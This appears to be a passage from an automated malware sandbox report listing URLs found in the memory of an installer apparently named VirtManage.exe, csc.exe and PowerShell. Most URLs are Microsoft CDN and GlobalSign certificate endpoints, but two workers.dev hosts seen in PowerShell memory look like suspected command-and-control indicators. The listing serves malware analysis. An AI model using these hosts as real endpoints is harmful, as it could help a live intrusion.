Source: csc.exe, 00000024.00000003.1503793330.000001F6D2FD0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000002.1506218502.000001F6D2FD2000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503740631.000001F6D2FCA000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503595861.000001F6D2FC6000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503416887.000001F6D2FC0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927677453.000001B20AC84000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927929098.000001B20AC8E000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927298554.000001B20AC7F000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927850369.000001B20AC89000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000002.1930910360.000001B20AC90000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/MicrosoftAjax.debug.jsT
Source: csc.exe, 00000024.00000003.1503793330.000001F6D2FD0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503740631.000001F6D2FCA000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503595861.000001F6D2FC6000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503416887.000001F6D2FC0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927677453.000001B20AC84000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927929098.000001B20AC8E000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927298554.000001B20AC7F000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927850369.000001B20AC89000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/MicrosoftAjax.jsT
Source: csc.exe, 00000024.00000003.1503793330.000001F6D2FD0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000002.1506218502.000001F6D2FD2000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503740631.000001F6D2FCA000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503595861.000001F6D2FC6000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503416887.000001F6D2FC0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927677453.000001B20AC84000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927929098.000001B20AC8E000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927298554.000001B20AC7F000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927850369.000001B20AC89000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000002.1930910360.000001B20AC90000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/MicrosoftAjaxApplicationServices.debug.jsT
Source: csc.exe, 00000024.00000003.1503793330.000001F6D2FD0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503740631.000001F6D2FCA000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503595861.000001F6D2FC6000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503416887.000001F6D2FC0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927677453.000001B20AC84000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927929098.000001B20AC8E000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927298554.000001B20AC7F000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927850369.000001B20AC89000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000002.1930910360.000001B20AC90000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/MicrosoftAjaxApplicationServices.jsT
Source: csc.exe, 00000024.00000003.1503793330.000001F6D2FD0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000002.1506218502.000001F6D2FD2000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503740631.000001F6D2FCA000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503595861.000001F6D2FC6000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503416887.000001F6D2FC0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927677453.000001B20AC84000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927929098.000001B20AC8E000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927298554.000001B20AC7F000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927850369.000001B20AC89000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000002.1930910360.000001B20AC90000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/MicrosoftAjaxComponentModel.debug.jsT
Source: csc.exe, 00000024.00000003.1503793330.000001F6D2FD0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000002.1506218502.000001F6D2FD2000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503740631.000001F6D2FCA000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503595861.000001F6D2FC6000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503416887.000001F6D2FC0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927677453.000001B20AC84000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927929098.000001B20AC8E000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927298554.000001B20AC7F000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927850369.000001B20AC89000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000002.1930910360.000001B20AC90000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/MicrosoftAjaxComponentModel.jsT
Source: csc.exe, 00000024.00000003.1503793330.000001F6D2FD0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000002.1506218502.000001F6D2FD2000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503740631.000001F6D2FCA000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503595861.000001F6D2FC6000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503416887.000001F6D2FC0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927677453.000001B20AC84000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927929098.000001B20AC8E000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927298554.000001B20AC7F000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927850369.000001B20AC89000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000002.1930910360.000001B20AC90000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/MicrosoftAjaxCore.debug.jsT
Source: csc.exe, 00000024.00000003.1503793330.000001F6D2FD0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000002.1506218502.000001F6D2FD2000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503740631.000001F6D2FCA000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503595861.000001F6D2FC6000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503416887.000001F6D2FC0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927677453.000001B20AC84000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927929098.000001B20AC8E000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927298554.000001B20AC7F000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927850369.000001B20AC89000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000002.1930910360.000001B20AC90000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/MicrosoftAjaxCore.jsT
Source: csc.exe, 00000024.00000003.1503793330.000001F6D2FD0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000002.1506218502.000001F6D2FD2000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503740631.000001F6D2FCA000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503595861.000001F6D2FC6000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503416887.000001F6D2FC0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927677453.000001B20AC84000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927929098.000001B20AC8E000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927298554.000001B20AC7F000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927850369.000001B20AC89000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000002.1930910360.000001B20AC90000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/MicrosoftAjaxGlobalization.debug.jsT
Source: csc.exe, 00000024.00000003.1503793330.000001F6D2FD0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000002.1506218502.000001F6D2FD2000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503740631.000001F6D2FCA000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503595861.000001F6D2FC6000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503416887.000001F6D2FC0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927677453.000001B20AC84000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927929098.000001B20AC8E000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927298554.000001B20AC7F000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927850369.000001B20AC89000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000002.1930910360.000001B20AC90000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/MicrosoftAjaxGlobalization.jsT
Source: csc.exe, 00000024.00000003.1503793330.000001F6D2FD0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000002.1506218502.000001F6D2FD2000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503740631.000001F6D2FCA000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503595861.000001F6D2FC6000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503416887.000001F6D2FC0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927677453.000001B20AC84000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927929098.000001B20AC8E000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927298554.000001B20AC7F000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927850369.000001B20AC89000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000002.1930910360.000001B20AC90000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/MicrosoftAjaxHistory.debug.jsT
Source: csc.exe, 00000024.00000003.1503793330.000001F6D2FD0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000002.1506218502.000001F6D2FD2000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503740631.000001F6D2FCA000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503595861.000001F6D2FC6000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503416887.000001F6D2FC0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927677453.000001B20AC84000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927929098.000001B20AC8E000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927298554.000001B20AC7F000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927850369.000001B20AC89000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000002.1930910360.000001B20AC90000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/MicrosoftAjaxHistory.jsT
Source: csc.exe, 00000024.00000003.1503793330.000001F6D2FD0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000002.1506218502.000001F6D2FD2000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503740631.000001F6D2FCA000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503595861.000001F6D2FC6000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503416887.000001F6D2FC0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927677453.000001B20AC84000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927929098.000001B20AC8E000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927298554.000001B20AC7F000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927850369.000001B20AC89000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000002.1930910360.000001B20AC90000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/MicrosoftAjaxNetwork.debug.jsT
Source: csc.exe, 00000024.00000003.1503793330.000001F6D2FD0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000002.1506218502.000001F6D2FD2000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503740631.000001F6D2FCA000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503595861.000001F6D2FC6000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503416887.000001F6D2FC0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927677453.000001B20AC84000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927929098.000001B20AC8E000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927298554.000001B20AC7F000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927850369.000001B20AC89000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000002.1930910360.000001B20AC90000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/MicrosoftAjaxNetwork.jsT
Source: csc.exe, 00000024.00000003.1503793330.000001F6D2FD0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000002.1506218502.000001F6D2FD2000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503740631.000001F6D2FCA000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503595861.000001F6D2FC6000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503416887.000001F6D2FC0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927677453.000001B20AC84000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927929098.000001B20AC8E000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927298554.000001B20AC7F000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927850369.000001B20AC89000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000002.1930910360.000001B20AC90000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/MicrosoftAjaxSerialization.debug.jsT
Source: csc.exe, 00000024.00000003.1503793330.000001F6D2FD0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000002.1506218502.000001F6D2FD2000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503740631.000001F6D2FCA000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503595861.000001F6D2FC6000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503416887.000001F6D2FC0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927677453.000001B20AC84000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927929098.000001B20AC8E000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927298554.000001B20AC7F000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927850369.000001B20AC89000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000002.1930910360.000001B20AC90000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/MicrosoftAjaxSerialization.jsT
Source: csc.exe, 00000024.00000003.1503793330.000001F6D2FD0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000002.1506218502.000001F6D2FD2000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503740631.000001F6D2FCA000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503595861.000001F6D2FC6000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503416887.000001F6D2FC0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927677453.000001B20AC84000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927929098.000001B20AC8E000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927298554.000001B20AC7F000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927850369.000001B20AC89000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000002.1930910360.000001B20AC90000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/MicrosoftAjaxTimer.debug.jsT
Source: csc.exe, 00000024.00000003.1503793330.000001F6D2FD0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000002.1506218502.000001F6D2FD2000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503740631.000001F6D2FCA000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503595861.000001F6D2FC6000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503416887.000001F6D2FC0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927677453.000001B20AC84000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927929098.000001B20AC8E000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927298554.000001B20AC7F000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927850369.000001B20AC89000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000002.1930910360.000001B20AC90000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/MicrosoftAjaxTimer.jsT
Source: csc.exe, 00000024.00000003.1503793330.000001F6D2FD0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000002.1506218502.000001F6D2FD2000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503740631.000001F6D2FCA000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503595861.000001F6D2FC6000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503416887.000001F6D2FC0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927677453.000001B20AC84000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927929098.000001B20AC8E000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927298554.000001B20AC7F000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927850369.000001B20AC89000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000002.1930910360.000001B20AC90000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/MicrosoftAjaxWebForms.debug.jsT
Source: csc.exe, 00000024.00000003.1503793330.000001F6D2FD0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503740631.000001F6D2FCA000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503595861.000001F6D2FC6000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503416887.000001F6D2FC0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927677453.000001B20AC84000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927929098.000001B20AC8E000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927298554.000001B20AC7F000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927850369.000001B20AC89000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/MicrosoftAjaxWebForms.jsT
Source: csc.exe, 00000024.00000003.1503793330.000001F6D2FD0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000002.1506218502.000001F6D2FD2000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503740631.000001F6D2FCA000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503595861.000001F6D2FC6000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503416887.000001F6D2FC0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927677453.000001B20AC84000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927929098.000001B20AC8E000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927298554.000001B20AC7F000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927850369.000001B20AC89000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000002.1930910360.000001B20AC90000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/MicrosoftAjaxWebServices.debug.jsT
Source: csc.exe, 00000024.00000003.1503793330.000001F6D2FD0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503740631.000001F6D2FCA000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503595861.000001F6D2FC6000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503416887.000001F6D2FC0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927677453.000001B20AC84000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927929098.000001B20AC8E000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927298554.000001B20AC7F000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927850369.000001B20AC89000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/MicrosoftAjaxWebServices.jsT
Source: VirtManage.exe, 00000000.00000003.947745596.0000000002D80000.00000004.00001000.00020000.00000000.sdmp, VirtManage.exe, 00000000.00000003.951154205.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, libassuan-9.dll.0.dr, gpg-agent.exe.0.dr, libsqlite3-0.dll.0.drString found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: VirtManage.exe, 00000000.00000003.947745596.0000000002D80000.00000004.00001000.00020000.00000000.sdmp, VirtManage.exe, 00000000.00000003.951154205.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, libassuan-9.dll.0.dr, gpg-agent.exe.0.dr, libsqlite3-0.dll.0.drString found in binary or memory: http://crl.globalsign.com/codesigningrootr45.crl0V
Source: VirtManage.exe, 00000000.00000003.947745596.0000000002D80000.00000004.00001000.00020000.00000000.sdmp, VirtManage.exe, 00000000.00000003.951154205.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, libassuan-9.dll.0.dr, gpg-agent.exe.0.dr, libsqlite3-0.dll.0.drString found in binary or memory: http://crl.globalsign.com/gsgccr45codesignca2020.crl0
Source: VirtManage.exe, 00000000.00000003.947745596.0000000002D80000.00000004.00001000.00020000.00000000.sdmp, VirtManage.exe, 00000000.00000003.951154205.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, libassuan-9.dll.0.dr, gpg-agent.exe.0.dr, libsqlite3-0.dll.0.drString found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: powershell.exe, 00000019.00000002.2883012900.00000228F72EC000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.microsoft
Source: powershell.exe, 00000021.00000002.2786980460.000001A789B0C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ec2-server.bayaj19162.workers.dev
Source: powershell.exe, 00000019.00000002.2787411165.00000228DF8D0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nginx-server.paxivo2460.workers.dev
Source: VirtManage.exeString found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: powershell.exe, 00000019.00000002.2857851054.00000228EEB5D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2849852080.000001A7991AF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
Source: VirtManage.exe, 00000000.00000003.947745596.0000000002D80000.00000004.00001000.00020000.00000000.sdmp, VirtManage.exe, 00000000.00000003.951154205.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, libassuan-9.dll.0.dr, gpg-agent.exe.0.dr, libsqlite3-0.dll.0.drString found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: VirtManage.exe, 00000000.00000003.947745596.0000000002D80000.00000004.00001000.00020000.00000000.sdmp, VirtManage.exe, 00000000.00000003.951154205.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, libassuan-9.dll.0.dr, gpg-agent.exe.0.dr, libsqlite3-0.dll.0.drString found in binary or memory: http://ocsp.globalsign.com/codesigningrootr450F
Source: VirtManage.exe, 00000000.00000003.947745596.0000000002D80000.00000004.00001000.00020000.00000000.sdmp, VirtManage.exe, 00000000.00000003.951154205.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, libassuan-9.dll.0.dr, gpg-agent.exe.0.dr, libsqlite3-0.dll.0.drString found in binary or memory: http://ocsp.globalsign.com/gsgccr45codesignca20200V
Source: VirtManage.exe, 00000000.00000003.947745596.0000000002D80000.00000004.00001000.00020000.00000000.sdmp, VirtManage.exe, 00000000.00000003.951154205.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, libassuan-9.dll.0.dr, gpg-agent.exe.0.dr, libsqlite3-0.dll.0.drString found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: powershell.exe, 00000021.00000002.2786980460.000001A789362000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000019.00000002.2787411165.00000228DED18000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000019.00000002.2787411165.00000228DEAF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2786980460.000001A789141000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000019.00000002.2787411165.00000228DED18000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: VirtManage.exe, 00000000.00000003.947745596.0000000002D80000.00000004.00001000.00020000.00000000.sdmp, VirtManage.exe, 00000000.00000003.951154205.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, libassuan-9.dll.0.dr, gpg-agent.exe.0.dr, libsqlite3-0.dll.0.drString found in binary or memory: http://secure.globalsign.com/cacert/codesigningrootr45.crt0A
Source: VirtManage.exe, 00000000.00000003.947745596.0000000002D80000.00000004.00001000.00020000.00000000.sdmp, VirtManage.exe, 00000000.00000003.951154205.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, libassuan-9.dll.0.dr, gpg-agent.exe.0.dr, libsqlite3-0.dll.0.drString found in binary or memory: http://secure.globalsign.com/cacert/gsgccr45codesignca2020.crt0=
